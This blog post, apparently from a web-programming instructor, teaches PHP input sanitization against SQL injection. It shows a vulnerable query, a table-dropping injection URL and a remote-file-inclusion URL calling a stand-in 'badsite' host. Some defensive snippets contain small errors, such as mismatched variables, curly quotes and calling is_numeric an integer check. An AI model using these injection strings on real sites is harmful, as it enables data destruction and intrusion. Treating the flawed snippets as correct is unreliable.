Get thee some sanitizer
It’s always good to sanitize. I remember back to my days of working at Burger King - when I was unlucky enough to pull dishwashing duty, you would wash the dishes with soap, rinse them and then sanitize them before putting them away. You want to make sure nothing funky was left over.
Same goes for PHP code, except in reverse. Imagine your web application is the dishwashing station at Burger King. We want to wash, rinse and sanitize any dishes we get, but in this case we’re talking about any inputs we get from a user. In the case of our web app, we want to make sure we sanitize that input before we go and wash, rinse, query, insert and update our data. We certainly don’t want to process compromised inputs, and we certainly do not want to write and store that code in our databases.
I was reviewing some code written by one of our students and saw this:
$catid = $_GET['cat'];
$select = mysql_query(”SELECT * FROM categories WHERE id = “.$catid);
Friends, that’s bad. That’s a SQL injection waiting to happen. It looks innocent enough - we’re taking in whatever input string included in the variable $_GET['cat'] and then querying our database in the next line. It would be very easy for someone to try something nefarious (and trust me, they will and do, often).
It would be very easy for someone to see we’re passing a string and attach some extra stuff to it. Our code is assuming we’re passing an integer. In a perfect world, this request: http://server.com/page.php?cat=15 is what we want. Now imagine someone did this: http://server.com/page.php?cat=1;drop%20table;. That would be bad. When our page was loaded and the PHP executed, this line would run:
$select = mysql_query("SELECT * FROM categories WHERE id = 2;drop table;);
And before you know it, all the data stored in your table would be gone. Dropping a table is kid stuff for hackers out there. They want more - they want to use that injection to break into your server and cause havoc. They will exploit code like I showed about and pass your server a URL like this:
http://www.server.com/page.php?id=http://badsite/.html/body?
That little snippet of code will try to load a text file full of bad PHP commands what will compromise your machine. I see our server getting hammered with requests like that all day long. I bet if you dig around your Apache logs you will as well.
Want to see what one of these kinds of scripts can do? Look at this raw code and see what it can probe on your server. It’s scary. I’m only putting that code here to show you what people want to do to your server.
There are some things you absolutely must do when accepting user inputs or writing that data to a database. It’s not a case of maybe or someday, there are things that if you are not doing them now, you need to be doing. Close Facebook and get in your code.
There are lots of ways to accomplish this. Here are a few ideas to get you started.
One easy way to is check everything for type. In the example above, we were expecting the $_GET['cat'] to be an integer. This little bit of PHP code makes sure we’re getting the right data type.
if(is_numeric($_GET['id'])==TRUE){
}else{
echo “Forbidden!”;
die();
}
That snippet will check your input to ensure its an integer using the ‘is_numeric’ function built into PHP. If it is, the if statement ends as we’re not doing any additional processing and we can skip the ELSE part. If it’s not an integer, and someone tried to throw some text in that field, we tell them a message, in this case “FORBIDDEN” and we execute the die command, which stops all further processing on this page immediately. If you want to, you can do some logging at this point to catch the IP address of the offending party and further block them, but if you’re just starting to sanitize your code, it’s better to block them and worry about the rest later.
PHP 5 has a new function called filter that will also do some processing and sanitizing for you. Using one of the functions like FILTER_SANITIZE_STRING will strip HTML tags from a string for you automatically. Here’s a quick example:
$input = "HighEdWebTech<a href='link.php'> is nice";
$output = filter_var($input, FILTER_SANITIZE_STRING);
This will make the $output variable contain just the text “HighEdWebTech is nice” now. All the potentially bad stuff is gone.
Finally, you may want to check out OWASP’s sanitize.inc.php code. It’s an include you can drop into your application’s code and it does a lot of the heavy lifting for you when it comes to sanitizing your inputs. You can read more and see some implementation here. This class comes with pre-set types of sanitizing that you can do, including settings for PARANOID, SQL, SYSTEM, HTML, INT, FLOAT, LDAP, and UTF8. A setting like SQL will make sure everything is cool and everything is quoted correctly. This is often a target of SQL injections. By using the INT and FLOAT options, you can accomplish what our code above does, but you don’t have to write new code every time, you can just pass your variable through the sanitize filter.
In the end, you must check your inputs and outputs to make sure everything is cool before you use them. When I was just starting out learning PHP, I made similar mistakes, and my code was compromised. Now, you can never be too paranoid about your applications and the steps you take to secure them. Someday, I’ll show you how to write safe queries with mysql_real_escape_string.
If you enjoyed this post, make sure you subscribe to my RSS feed!
Comments
Leave a Reply
